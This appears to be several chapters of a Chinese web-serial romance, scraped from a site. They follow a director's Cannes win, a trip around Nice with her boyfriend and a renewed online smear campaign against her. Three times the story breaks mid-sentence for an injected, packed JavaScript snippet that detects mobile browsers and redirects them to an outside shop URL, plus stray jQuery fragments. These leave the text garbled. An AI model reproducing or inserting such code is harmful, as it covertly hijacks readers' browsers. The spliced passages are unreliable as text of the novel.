就连全光毅都发来恭喜的祝福。 宜夏回了句谢谢。 全光毅说: 【我看了你的片子,确实不错。可以推荐给今年金芙蓉的评委会。】 宜夏又说谢谢。 一想到他居然是谈雪昼血缘上的父亲。 她心里就一阵别扭。 把手机丢回包里。夜风拂过,额发被吹得凌乱,她回身抬手,把披在背后一头浓密的头发扎了个高马尾,突然,眼前闪过一片白亮。 闪光灯。 有人拍她。 她眯着眼睛看过去,是个棕色头发棕色皮肤的男人,举着相机,像娱乐记者或者摄影记者。 宜夏走过去。 那个记者立刻冲她表示无恶意,仅仅因为她刚刚扎头发的动作很特别而已。用鸡同鸭讲的翻译器聊了一阵,宜夏得到了一张照片以及一位摄影师的赞美。宜夏要走的时候,那个摄影师追上来,问她有没有Ins和X,或者Whatsapp也行,留个联系方式。 宜夏抱歉说没有。 他用挺艰难的法语腔调说:“那我可以拥抱你一下吗?” 宜夏:“嗯?” 没听懂。 背后突然传来一道凉凉的声音,法语:“不可以,她不同意。” 宜夏扭头。 谈雪昼单手拎着一大把橙玫瑰,带笑看着她,眼眸漆黑干净。 那个摄影师打量两眼,举手表示无恶意,识趣地走开了。 宜夏望着谈雪昼,抿唇,没忍住笑意:“你怎么来了?” “突然想到了有个事。” “什么?” 他手掌暗示性地放在她后颈上,慢腾腾说:“脱敏这件事,拖了这么久也没点进度,怎么行呢。” 宜夏脸一下烧红,不自在地挣开他的手。 这还是大街上呢。 虽然法国到处都是当街接吻的情侣,但她还是不习惯。 这个人一个动作就能把她勾引得心猿意马。片刻后,她扑闪着眼,慢吞吞说:“那是你的问题,之前不配合我工作。” “是呢,对不起。” 谈雪昼跟着把另一只手上的橙玫瑰递到她面前:“赔礼道歉。” 宜夏捧起花束,拨弄了两下花瓣,心情好得不行,突然很想亲他。她朝左右都打量一眼,举高花束挡住两人的脸,踮起脚迅速在他脸颊上亲了一口,飞快撤退,拉起他的手:“走吧走吧,回酒店啦?” 他牵起她的手,两个人压着马路往酒店走。路灯昏黄,两人的影子不断重叠拉长,亲密无间。 宜夏偏过头:“我刚拿奖了,谈雪昼,你有没有看直播啊?” 他故意说:“在飞机上,没看见。” 宜夏说:“那你肯定也没听见我获奖感言吧。不知道我最后一句说了什么。” “说了什么?” 她声音很低,带着无愁的笑意:“说了希望我的好朋友能够一切顺利,下次也带着新电影来到戛纳电影节,惊艳全世界。” “你的好朋友是谁啊?” “我不告诉你。” - 《清塘山岛日记》本来是小范围的文艺片爱好者在讨论,获奖的消息传回国内,知名度立刻开始上涨。 不管是不是文艺片爱好者,为了表示自己情趣品味高雅,都想显示自己很懂行。 于是,三个问题的搜索度攀升。 第一,一种关注单元是什么啊? 第二,这个奖牛逼吗? 第三,新导演,宜夏,又是哪里冒出来的啊? 当然还附带衍生问题,譬如: 第四,路嘉灵这个女演员演过什么? 第五,电影圈要爆新的电影花了吗? 当场有人科普戛纳电影节各种官方单元和奖项,也有人科普宜夏过去的作品的。不知道是不是柳明昱安排的宣传营销开始发力了,一时间网上竟然全是好奇和吹捧,还上了一个热搜,都是好评居多。 有人在热搜广场表示人在戛纳,看了《清塘山岛日记》的展映,质量巨高,作为新人的作品完全不输主竞赛的质量,剧本好绝了,演员演技也灵得不行。总之一通好评下来,宜夏很是怀疑这是不是柳明昱请的水军。 好话谁不爱听? 水军就水军,会说话就行。 宜夏趴在酒店大床上,刷好评刷到凌晨三点。 还看见有人发她在颁奖典礼的获奖感言,好奇地问“好朋友”是谁。还有在回酒店的路上偶遇的照片,下面一大堆人说漂亮有才华,希望内娱多一点女导演,希望女导演能多写一点女性的本子捧一些漂亮的电影花出来。 这一路走来,好像没有白坚持。 再刷半分钟就睡。 退出微博前,宜夏突然看见了自己的名字,出现在微博热搜文娱榜的尾巴上。 有两个。 #宜夏戛纳# #宜夏兰花开# “兰花开”简直像是只粗暴的大手,把人从恍惚轻飘的幻境中拽出来。宜夏一瞬间脑子一片嗡鸣。 她有点不敢点进去,去年、不对,是前年,经受过的狂风暴雨般的指责侮辱咒骂再一次涌进脑海。 宜夏盯着那个词条看了好久,才下定了决心点进去。 只有几个网友在讨论,题目是: “刚刚戛纳拿奖的《清塘山岛日记》,那个导演宜夏不就是兰花开的编剧吗?就是zzlc有问题,三观不正鼓吹校园霸凌还有lt倾向的那个?” 【名字都没改啊,好嚣张。】 【戛纳太掉价了吧,把奖颁给这种人,也不做背调?】 【呃不是吧……好离谱,文艺juan真的烂。戛纳也能做手脚水奖买奖,一点公信力都没有了吧?】 【脸皮太厚了,圈内没人买她的剧本了就只能自己找人水奖了,烂死了。】 【好恶心,突然全网吹成什么灵气新人华语电影之光女性力量的,原来这么贱啊。】 ——和于思程决裂后,宜夏突然面临铺天盖地的指责,说她之前的处女作《兰花开》政治立场、三观有问题的言论。 她第一时间的想法和所有正常人一样,是自证清白。 但是欲加之罪,何患无辞。 她一个人根本无力对抗突如其来的洪水般的指责。她先想的是冷处理,但紧随其后的,无数人开始扒《兰花开》、《江流冬日》的剧情问题,政治问题、抄袭、融梗、黑料,甚至有片场同事出来爆料,说她作为编剧,对剧组的小演员颐指气使,片场欺凌,等等等等。 任何一个正常人都不会相信这种话,相信一个编剧能虐待演员。但那时候,全网指责,她好像真的犯了弥天大罪。 事情的高潮是,她的高中同学出来爆料她的身世。 涉及全光毅导演,全导雷霆万钧,压住了跟他有关的稿件。抹黑她的那些人也不敢拉全导下水,于是话锋掉转,矛头对准了她,或真或假的黑料全都堆在了她头上。宜夏被抛到了风口浪尖,她好像真是十恶不赦的罪人。 没有任何人愿意帮她,替她说话,帮她澄清。 舒润和她的恋情也被人曝光。舒润的粉丝接受不了偶像恋爱,更接受不了偶像和一个声名如此狼藉的编剧恋爱,发疯似的辱骂她。 宜夏跟舒润分手,那段时间,外婆也去世了。 这世界的滔天巨浪,都在同一时间打在了她头上。 她抑郁了。 住进了医院里,没有办法再跟于思程对峙。 出院之后,这些滔天的巨浪已经安静下来,等待下一次吞噬她。 她不是不想拿回《强制报告》的署名。 只是,她要等一个机会,一个雷霆万钧的机会,一举拿回所有属于她的东西。 - 宜夏第二天早上再看热搜,没发现自己的名字。 文艺片本身关注度也不大,关注的就那么些人,能搜上文娱榜已经了不得了。《清塘山岛日记》虽然获奖,但没什么有知名度的明星演员参演,拿的也不是能大吹特吹的主竞赛奖项,关注度只能持续一夜时间。 舆论的关注和流量是假的,对文艺片来说,口碑,质量,还有奖项,才是实打实的。 心情好了不少,看一眼放在床头的金色棕榈叶奖杯。 还在。 戛纳最近的大城市是尼斯,进出交通工具是火车。 宜夏跟谈雪昼买了最近一趟的火车票一起去尼斯玩。 走进戛纳火车站狭窄的入口时,宜夏突然联想起,不知道有多少巨星名流,曾从这个狭窄的闸口走过。 而她在几天之前来到,今天离开的时候,也已经成功在戛纳留下了一个很小的名字。 很荣幸。 尼斯市内景点很集中。两个人半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150990|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天就逛完了,宜夏开始心情一般,后来倒是情绪很高昂地打卡拍照,让谈雪昼掌握相机,看看百亿票房大导演的摄像实力。 天气很热,五月份的南法阳光猛烈,逛了一会儿宜夏想要休息,坐在路边的长椅上,低头翻谈雪昼相机里的照片。 又看见路边有卖冰淇淋的,她眼巴巴看着谈雪昼,意思很明显。 谈雪昼走过去给她买,她低头继续翻照片。 这张不错。 这张光线绝了。 P一下阴影,头发是不是有点乱了? 照片没翻完,抬起头,宜夏看见谈雪昼背对着她,闲闲站在冰淇淋车旁边,姿势懒散。一个戴宽檐遮阳帽的女人仰着头,正在跟他搭讪。 宜夏抱着相机走过去。 听见那个女人说的是中文:“谈导,这么巧!你也是来参加戛纳的吗?我在戛纳没见到你呢。” 一听这个声音,宜夏脚步顿了。 怎么会是于思程。 谈雪昼懒懒用眼风瞥她:“你怎么在这里?” 于思程说:“我也来戛纳参加展映呢。”顿了下,温柔问,“你是一个人来尼斯玩吗?我对这里很熟的,可以做导游哦。我大学就是在法国念的,回国之后一直很怀念这边的气候——有没有荣幸请你吃个饭呀?” 谈雪昼说:“没有。” 于思程表情一僵。 她明显看见了谈雪昼背后走过来的宜夏,脸皮一抽,突然换了笑脸,盈盈说:“雪昼,你还和宜夏在一起,我是比较吃惊的。”顿了下,又潇洒说,“你不喜欢我,我倒是没什么。不过,我提醒你一下哦,宜夏老师跟我哥也在一起过,差点成了我嫂子。” 宜夏脸色变了。 于思程冲她飞了一个挑衅的眼神,笑着转身挥手跟谈雪昼说再见。 宜夏僵站在谈雪昼身后。 谈雪昼没因为她刚刚的挑拨有什么特殊反应,甚至没注意到她离开。他懒懒看向冰淇淋车后面正在接冰淇淋的小哥,用法语说:“第二个冰淇淋要仙人掌和西瓜双拼。” 拿到冰淇淋,他转身递给她一个,拍拍她的脑袋:“走了。” 宜夏张了张口:“那个……” 谈雪昼牵住她的手:“你看我都没理其他人搭讪。” “那你很乖。”宜夏下意识说,偏过头看他。 她咬了口冰淇淋上面的尖尖,心却因为于思程刚刚说的话而煎熬。 谈雪昼淡定自若,似乎没把那些话放心上,宜夏有些憋闷。 沉吟很久,她还是主动说:“你记得于璟吗?就是刚刚于思程的哥哥。就是那次,我们在地下车库碰见,然后被你揍了的人。” “嗯。”谈雪昼漫不经心举着相机拍照,随便答应她一声。 宜夏承认:“他其实,不仅是我高中同学。我高中的时候,差点跟他在一起。” 谈雪昼侧头看她,皮笑肉不笑:“我知道。” “……你怎么会知道?” “我有什么不知道的?”谈雪昼说,“于璟我认识。” “……” 宜夏沉默片刻,接着自己的话说:“高中的时候,他追了我很久。我本来打算高考之后答应他在一起的。但是后来发生了一些事情……我没有跟他在一起,所以,我也没有差点成于思程的嫂子。” “你们没在一起?”谈雪昼骤然转过头,“你们高考之后,没在一起?” 宜夏有点茫然对上他漆黑的眼睛。 她从里面看到了很多错愕,以及暗流涌动的晦暗情绪,顿了下:“……你,反应这么大干什么?” 谈雪昼收回眼神:“没什么。” 宜夏默了一下,总结:“所以其实我只有一个前男友,就是舒润。” “我也没有追究你感情经历的意思。”谈雪昼声音凉凉的,“只不过,你是我的初恋,我却不是你的。” 宜夏沉默片刻:“对不起哦。” 她看向谈雪昼:“如果能早一点遇见你的话……我肯定,一定会喜欢你的。谈雪昼,我现在很希望,高中的时候就能认识你。” 谈雪昼若无其事扯了下唇角。 他现在也很后悔,高中的时候,没能出现在她面前。 在这异国他乡的南法城市里逛半个下午,除开于思程之外,碰上了五六个来要谈雪昼联系方式的姑娘,什么肤色的都有。 宜夏默默在心里攀比。 她只被一个卖小艺术品的卷发帅哥搭讪。不公平。 去下一个景点的路上,宜夏故意问谈雪昼:“对了,你跟于思程的相亲怎么样了?” 谈雪昼瞟她一眼:“明知故问。” 他顿了下,才想起问她:“你之前说是因为得罪了她被封杀,才想利用我来报复她,你们怎么回事?” 宜夏低头,把玩着刚买的一只小鹿木雕,想了很久才说:“其实是利益冲突。” 她坦然地看向他,把由《强制报告》的署名导致的后续一系列争端冲突和盘托出。谈雪昼越听表情越冷,攥紧她的手腕。 宜夏连忙安抚说:“不过现在抑郁什么的早就好了。我心理调节能力还挺厉害的。” 谈雪昼看着远处,沉默许久。 宜夏说:“其实我现在都觉得没什么了。《强制报告》是我的,我会自己拿回来的。” 谈雪昼说:“为什么不一开始就告诉我?” 宜夏亮晶晶的眼睛看着他,抿出一个笑容,抱住他的腰,蹭了蹭,轻声说:“谈雪昼,我其实挺厉害的是不是?我拿了戛纳的奖,等我回国,我就要拿回我的《强制报告》。” 谈雪昼突然伸手在她脑袋上一通乱揉,把她头发一把揉乱,微微弓着背低下头来,看着她的眼睛。 直视,对视,认真说:“不要忘记我是你男朋友。” “嗯。”宜夏依然弯着眼睛看着他,“我知道。你是我男朋友。我不会怕麻烦到你的。” 谈雪昼盯着她,缓慢地勾了下唇角,突然伸手在她眼前挡了一下。 下一刻,一条冰凉的东西突然贴在了她的手腕上。 宜夏低头,看见自己手腕多了一条亮晶晶的手链。抬起手,手链做成花穗的形状,搭扣是一只小小的钻石蜻蜓。 在日光下闪耀明亮,熠熠生辉。 只看材质和做工,都知道价格昂贵。 宜夏抬起头,有些惊喜,和惊讶。 “庆祝我的女朋友在戛纳电影节一举夺得大奖的意思。” 76. [锁] [此章节已锁] 回酒店的路上碰见了卖糖的小商店。 进去一看,竟然有她送给他的那款马鞭草软糖。还有一款是薄荷味的,也是绿色的叶子形状,很精致。 宜夏买了两罐糖,出门的时候,谈雪昼问:“喜欢这款糖?” 宜夏把一罐塞给他,说:“不是,你送给我礼物了,我都没有什么送给你。是不是对你不太公平?” “嗯。”谈雪昼懒散地答应了一声,“是不太公平。” 宜夏尝试着把糖果罐举到他眼前:“那你先凑合着,收下这个?然后我还有别的礼物要送你……不过还在戛纳。” 一罐不到十欧的糖果,和一根看起来就很昂贵精致的手链,宜夏还是知道价值不对等的。 “是什么?” 宜夏弯起眼睛说:“回戛纳再告诉你。” - 是宜夏负责的定酒店。因为戛纳电影节的缘故,尼斯的酒店很多都已经预定,她好不容易定了两个房间。 其实她也不知道,为什么要定两个。 也许是有点,矜持的别扭? 她把房卡交给谈雪昼,两个人上楼,谈雪昼先走到他的房间门口。 宜夏默默站在旁边看他刷卡,他突然停手,表情挺淡地看着她:“要一起进去吗?” 宜夏摇头,撑着房门,片刻后又点头,很是道貌岸然:“我突然想起个事跟你说。” “嗯?脱敏那件事?” 宜夏:“……” 她红着脸看着他。 哪怕他根本没有碰她,只是用视线扫了扫她的脖颈和后颈,她都有种浑身烧起来的幻觉。她干巴巴说:“别那么看我。” 她很矜持地坐在床边的小沙发上,默默低头玩着刚刚路上买来的小鹿木雕。 谈雪昼进了卫生间洗手,过了一会儿出来,问她:“看不看电视?” 宜夏其实没听清他说了什么,心猿意马,思绪不知道飘到哪里去了,胡乱点头。 他把房间的电视打开,调了两个台。 电视上放的是一部法语电影,宜夏听不太懂,瞟了眼标题,《Lafenêtre》。他顺势在她旁边坐下,一伸手,就把她捞到了怀里。 宜夏靠着他的肩膀,被他满身清冽的冷香包围,安全又宁静,特别舒服。 电视上的电影宜夏几乎只能看个热闹,完全听不懂,她突然想起问:“你会说法语呀?” “会。”谈雪昼转头瞟了眼电视,“这电影叫《窗台》。”随即低下眼皮看她,慢腾腾说,“不是跟你说过,小时候在瑞士长大吗?在那边的法语区。” 宜夏微微凑近他,唇瓣几乎挨到唇瓣,声音也含在了唇齿之中,轻轻的:“那法语的我喜欢你怎么说?” “Jet''aimebien.” “Je……” “Jet''aimebien.” 宜夏跟着学,两个人的脸孔距离凑得很近,说话之间,呼吸交缠,唇瓣已经要碰到一起。说着说着,嘴唇挨到了一起。说不上来是谁主动的,一个湿漉漉的吻。宜夏的后颈多了一只手,她浑身发软,仰起头,抱住他的肩膀,含糊着说:“Jet''aimebien.谈雪昼,Jet''aimebien.” “Jet''aime.” 上一次,她被碰到背和胸口,过敏的症状就会出现。 但这次她被他抱在怀里,明确地感受到了后颈那只手的触感,却没有强烈的抗拒感。只是浑身发麻,手脚都要蜷缩起来。她浑身瘫软成一团水,呼吸也变得格外急促。 这时,电影也正好放到奇怪的情节。 两个主角对视长达半分钟,随后突然抱到一起。女主声音柔媚,眼睛里仿佛含着小钩子,男主的呼吸声则有些沉重。那声音格外煽情,宜夏抽空朝电视瞄了一眼,下一刻,谈雪昼低头,亲在了她的脖颈上。 他的唇舌柔软滚烫,亲到哪里,哪里就一阵酥麻。 宜夏立即沉溺在了温柔的海洋里,随着他的动作浮沉起伏。实在是太煽情了,电影的声音,电影里风掠过窗台撩起窗帘的扑簌簌声响。 仿佛有只白色羽毛的大鸟,叼起了她的裙摆。 她本来以为这次能够一鼓作气地脱敏。 但他的手碰到她腰际的时候,那种生理反应再次出现了。 她大睁着眼睛,四肢僵硬。 他立刻停手。 宜夏很难受,不止是心理上的,更是明显的生理上的,她其实已经很动情,眼睛里含着泪,抱住他的脖颈,细碎地喊他:“谈雪昼,怎么办谈雪昼……” 他闭上眼睛,缓了缓呼吸,喉结滚动:“已经很好了,你已经做得很好了,特别特别好。” “对不起……害你这么……”宜夏很内疚,听他的喘息声,感觉到他身体的异样,她知道他箭在弦上却发不出去,肯定特别难受。她凑上去亲他的嘴唇,喉结:“让我帮你……我会好好表现的。” …… 电影结束,淡出黑屏。 房间里细微压抑的呼吸声也逐渐平复。 谈雪昼抽出一张纸,替她擦了擦手。宜夏埋着头,一声不吭。 他站起来,一把抱起她进到卫生间里,放热水替她擦手。这些他做得很细致耐心,宜夏就好像一只木偶,任由他动作。 宜夏默不作声勾着他的脖颈低着头。拿毛巾擦手的时候,她才感觉到掌心火辣辣的疼。 一闭眼,眼前又浮现出他薄薄的跟水栖动物一样的眼皮,以及汗湿的黑发,以及某种迷离惝恍的摇曳。 窗户外植物的影子一道一道在房间里掠过,呼吸也一道一道交错。 - 因为脱敏没能彻底成功,宜夏也没打算跟他睡一个房间。 不想自己心猿意马,最后又没办法成功。也不想他因为自己难受没办法纾解,半夜冲冷水澡。 宜夏回了自己的房间,洗漱完了刷一下国内的社交平台,主要是看有没有影评人对《清塘山岛日记》本身发表意见批评什么的,好学习一下。 谁知却刷到了首页某个人的一条微博。 @谈雪昼V:[照片] 照片里是一罐马鞭草糖,摆在桌上,台灯光线斜打过去,透过玻璃罐在织花的桌面上投下浅绿的影。 下面有人评论: 【这款糖很好吃,谈导也喜欢吗?】 【谈导定位怎么去法国了?也去戛纳了吗?】 【怎么突然发一罐糖,有什么特殊之处?小谈下一个饼跟糖有关?】 谈雪昼自己在评论区回复。 【没有呢,不过糖是我女朋友送的,给大家看一眼。】 评论区立刻被汹涌而来的问号 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14167869|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 占领了。 宜夏浑水摸鱼在里面跟着发了一个问号,美滋滋入睡。 - 尼斯很小,昨晚逛了一天,已经差不多把市内的景点转完,两个人转场去附近的摩纳哥和芒通。 晚上回酒店,谈雪昼跟一位法国当地的男演员约了见面,算是为《天幕之下》试镜。 宜夏兴致勃勃围观了一阵,却发现听不懂这俩人在说什么,只好自己去楼下买酸奶喝。 下去的时候,在大堂里撞见了施可雨和剧组的另一个女生,两个人结伴也是来旅游的。 宜夏去外面便利店里买了一板酸奶回酒店。 酒店外面有一树路灯出了问题,不亮,有人站在路灯下背对着她打电话,说的是中文。 正是施可雨。 她手机捂得有点紧,声音也低,宜夏没有听见她到底说了什么,只听见一句愤怒的“难道你以为我现在还会相信你吗”。 听见背后的脚步声,施可雨转过头,看见来人是宜夏,表情很是慌乱,连忙挂了电话。 宜夏有点迷惑,把手里一板酸奶分了两瓶给她。 施可雨站起来,有点局促:“姐,那个,你刚刚听见我打电话了吗?” “没有。谁欺负你了吗?” 施可雨眼圈是红的,低声说:“没有,骚扰电话而已。” 宜夏又问她要不要明天一起逛,她连连拒绝,低垂着脸,没抬头看宜夏的眼神。 宜夏回酒店房间,谈雪昼已经跟那位法国男演员聊完了,出来找她。 宜夏不免提起刚刚碰见了施可雨,觉得她挺奇怪的,不过没细想,开始琢磨第二天的旅游计划。 南法的时间过得慢。 两个人在南法玩了一圈,绕回戛纳取行李,再回尼斯,坐上回国的航班。 连续好几个小时的飞行,飞机在江流机场落地的时候,宜夏有些疲惫。但谈雪昼精力充沛得过分,甚至没回家,直接去工作室开会去了。 宜夏一个人回家,很舒服地洗了个热水澡,打算倒一下时差,不知不觉就睡了过去。再醒来时,天边夕阳如火烧,层层叠叠晕染着橙色、橘色和明亮如灯烙的火光。 她把行李都整理出来,低头戳开和谈雪昼的聊天框。 你拍了拍谈雪昼 【醒了?】 宜夏: 【开会开好了?】 谈雪昼: 【没呢,开着会玩手机开小差】 宜夏: 【大老板还开小差,这不合适吧】 谈雪昼: 【[图片]】 发的是张拉开所有窗帘拍到的落地窗外的暮色。 视野开阔,黑色的飞鸟掠过。应该是开完了会在吹风。 宜夏打字: 【那你什么时候回家】 【倒不是迫不及待想见到你的意思。】 【就是,我之前不是说要送你礼物吗,都忘记第一时间给你了,现在想给你来着。】 谈雪昼: 【是什么?】 宜夏说: 【你回家就知道了。】 那边沉默片刻,有点怀疑地问: 【该不会,是你自己吧?】 宜夏: 【……………………】 【你想得太美了!】 77. 想把你比作春日 - 宜夏人还在客厅收拾法国带回来的纪念品,门口传来了密码锁解锁开门的声响。 谈雪昼回来了。 宜夏雀跃地走过去迎接他。 只是,开门的却不是谈雪昼,而是一位五十岁上下的老阿姨,面相和蔼温柔。 宜夏已经在嘉华汇跟谈雪昼同居了好几个月,还第一次见到这个阿姨。 她竟然知道门锁密码。 宜夏看着老阿姨,迟疑问:“您好,您是?” 那阿姨也没想到家里有人。 还是个漂亮姑娘。 顿时脸上绽放出惊喜:“你就是小宜吧?哎呀!我姓钟,是谈家的保姆,小时候负责照顾小雪的。今天家里做了小雪爱吃的菜,老爷子让我送点儿过来。” 宜夏连忙让钟阿姨进门。 钟阿姨麻利地把拎着的保温食盒放在桌上。 宜夏跟在阿姨身后,没忍住问:“阿姨,你从小照顾谈雪昼呀?” “是呀。”钟阿姨很温柔,声音跟哼歌一样,“从他八岁起,我就一直照顾他呢。” “那他小时候什么样子?” “小时候?小时候,特别有意思。”钟阿姨放好饭菜,转身去厨房,从冰箱里拿出一大盒新鲜的黑美人草莓开始清洗。 宜夏想帮忙,她又是很温柔地拒绝,说小姑娘不碰凉水,带点怀念的语气说:“那时候应该是刚出院吧,特别不爱说话,沉默寡言的,闷闷不乐的。谈小姐也不给他剪头发,头发留长了扎成一个小辫子,特别可爱像个文静的小姑娘。因为被其他小朋友说是小姑娘,中文又说不好,就生气了,再也不理其他人了,只黏着舅舅。” “怕黑,睡觉不能关灯,特别宝贝他从医院带回来的一个小夜灯,鹿角形状的。好像是在医院遇见了一个小姑娘,那灯是小姑娘送他的,有那盏灯他才能睡着。有一次不小心磕坏了电池槽,只能充电不能用电池了,简直天要塌了,哭得天崩地裂,那叫一个暗无天日啊……” 宜夏想象那是什么样子,有点太可爱了吧? 那个灯。 宜夏想起,她是见过。她不进他的主卧,但每晚关灯之后,也能看见主卧透出来的昏黄光线,是那盏鹿角小夜灯送给他的温柔光亮,照顾了他十八年。 某种意义上来说,他是个很长情的人。 又有点好奇:“那,他在初中高中上学的时候呢?”宜夏有点小在意,若无其事问,“是不是特别的受欢迎?” “那我倒是,没有听说。不过他上高中的时候,很有个性,说话嘛有点不讨人喜欢,估计就算有喜欢他的小姑娘,也被吓跑了。” “很有个性是什么样的?” “高一高二天天在外边玩,开赛车,开得特别猛。上高三有一天突然收心了,愿意天天去学校了,然后有一次吧,有个女孩找他,电话打到家里来了。那小姑娘声音可甜可甜了,小谈去接电话,第一句话就跟人家讲,能不能不要打扰我学习,我要去清华读书,你好好学习吧考上清华再说。” 宜夏:“……” 宜夏扑哧笑出来。 这时门口又传来开门的声音,谈雪昼回来了。 第一眼见到钟阿姨,他打招呼:“您怎么来了?” 钟阿姨给他介绍了一下今天家里做的菜,片刻后说:“老爷子想你了,想你什么时候回去看他。” 谈雪昼慢条斯理说:“再说吧,工作忙。” 钟阿姨很识趣,也不多劝他。 笑眯眯把洗好的草莓装进碗里递给宜夏,擦手后跟谈雪昼交代冰箱里放了什么吃的,让他好好照顾自己,收拾东西准备离开。 宜夏抱着草莓碗把人送到门口,小声问:“阿姨,那我们能加个微信吗?” 宜夏加到了钟阿姨的微信,打算有机会再侧面打听一下,谈雪昼小时候还有高中的时候的事。 感觉家里人的角度会特别有意思。 谈雪昼说:“想知道我以前的事,不如自己来问我。” 宜夏捧着下巴:“那我真问了?” “允许你问一个问题。” 宜夏说:“你小时候,扎辫子的照片,能不能给我看看?” 谈雪昼脸一黑:“不行。” 宜夏有点遗憾:“小气鬼。” “你大气,答应别人的礼物,这么多天没送。嗯?” 宜夏捧着脸看他,片刻后,才慢吞吞从包里取出一个细心包装了一番的礼物盒,盒子上用金色的缎带系了个漂亮的蝴蝶结。 谈雪昼打开盒子。 转头看向宜夏。 宜夏在他的眼神里莫名有些局促起来,挺直了腰板:“那我现在最珍贵的东西就是这个了,你要是不喜欢的话,就得等我攒钱才能换别的了。” 谈雪昼拎起盒子里那个光华四射的棕榈叶奖杯:“这么珍贵,真的送我?” 宜夏说:“以后还会有更多的。等我攒够十个,就来娶你。” 谈雪昼:“?” 宜夏:“不是,不是娶你,是下聘礼。” 谈雪昼:“?” 宜夏说话说不囫囵,舌头打结,把自己给说笑了,扬了扬下巴问:“怎么样。” “那我等你。” 宜夏笑眯眯问:“扎辫子的照片,真的不能让我看看吗?” “……” 谈雪昼懒得理她。 两个人到了餐厅,看钟阿姨送来了什么吃的。晚饭有了着落,吃完饭之后,宜夏刷了下手机。谈雪昼也在同一时刻,坐在她对面,漫不经心地玩手机。 咔嚓给那个金棕榈的奖杯拍了张照。 宜夏一下就知道他要干嘛了。 发微博炫耀。 她忍不住笑,刷了下微博首页。 下一秒,表情缓缓凝固。 #宜夏兰花开#这个词条竟然卷土重来,这一次不是挂在文娱榜的尾巴上,而是挂在主榜热搜上。热搜广场上讨论的也不再是小猫两三只,而是粉丝几十上百万的大营销号。 @小狗乖不乖V:[照片]求科普,清塘山岛日记的导演和《兰花开》那个zzlc有问题的编剧是不是同一个人啊?这种人为什么还有机会复出啊,电影圈太没底线了吧 【是一个人,名字都不换】 【去戛纳水一圈奖,回来美美提名金芙蓉了捏】35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173938|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 【兰花开不就是因为她夹带私货zzlc写烂了一整部电影?一粒狗屎坏了一锅粥,真服了电影圈居然还给这种人机会】 【有没有一种可能,电影圈其实就是一坨屎,不知道在高贵些什么】 【还记得这个编剧当时还在微博上说自己是清白的,还有人说强制报告是她写的,被人抢走了倒打一耙买水军黑她,结果一丁点证据都拿不出来,不愧是编剧,真的会编。】 【自己的孩子被抢走,妈妈一点证明都没有?嘴巴真的硬,比死了十八天的老鸭子还硬哈哈哈哈】 【话说有人看过清塘山岛日记吗,不是今年在戛纳唯一拿到奖的华语电影?到底怎么样?】 【回楼上,看了,不知所云,极其混乱,无病呻吟,烂得出奇,令人怀疑是不是有人给戛纳塞钱运作了。P.S.这位导演挺有手段的,圈内人都知道一点吧。正常电影提交到下证一般要排期,一个月最低,但《清塘山岛日记》半个月就给审核通过下证了,上面有人,什么不能操作?】 【楼上细说,手居然还能伸到上面?什么背景这么牛吗】 【资本家自娱自乐捧丑孩子拿奖呗。不过也该捧个资质好点的吧,捧有立场黑料的黑料咖算怎么回事】 【这你们就不懂了,有黑料才更好拿捏啊,要是清清白白家世又好和小谈一样,资本家根本控制不住吧。】 【还有人记得这个编剧曾经潜规则骚扰sr吗?被润姐姐P了很多遗照哈哈哈哈哈,丑人多作怪】 接近几千楼的揣测和阴谋论。 光这一个营销号,底下就是几万评论,从各种角度论证宜夏各种黑料。 广场上还不止一个营销号,从上往下拉,全是赫赫有名的大流量主。 宜夏嘴唇有些抖,下意识抬头看谈雪昼。 客厅米白的顶灯自上而下垂落,在他面颊上投下很锐利的影。他投过来眼神,问:“怎么了?” 宜夏不想让他知道这些,但顿了下,还是主动说:“于思程好像,对我动手了。” “但是谈雪昼,我可以自己处理这件事,你先不用管,也不用看,我不想你的心情因为我而变差。” 说完,她站起来,往书房走去。 谈雪昼定在沙发上,看着她的背影,片刻后,也站起来,走到阳台去打电话。 宜夏在书房打开了电脑,找出尘封已久的文件夹。 那边,路嘉灵突然进来了信息。 问她有没有什么事。 又内疚说网上那些黑料会不会是她的原因,因为她最近在和一个有名的女演员竞争一个角色,《清塘山岛日记》拿奖很明显为她加分了,会不会是那个女演员的团队动的手。 宜夏很惊诧,短短一段时间没待在一起,路嘉灵竟然连这些手段都知道了。 但跟路嘉灵无关。 《清塘山岛日记》剧组群都发现了网上这些黑料。 群里安静了一会儿,有人问宜夏有没有看见。 有人说,肯定是因为电影拿奖了,才会被人大规模大手笔地黑,问宜夏打算怎么澄清。 宜夏很镇定: 【我有办法的】 78. 想把你比作春日 - 谈雪昼电话打给了徐皑。 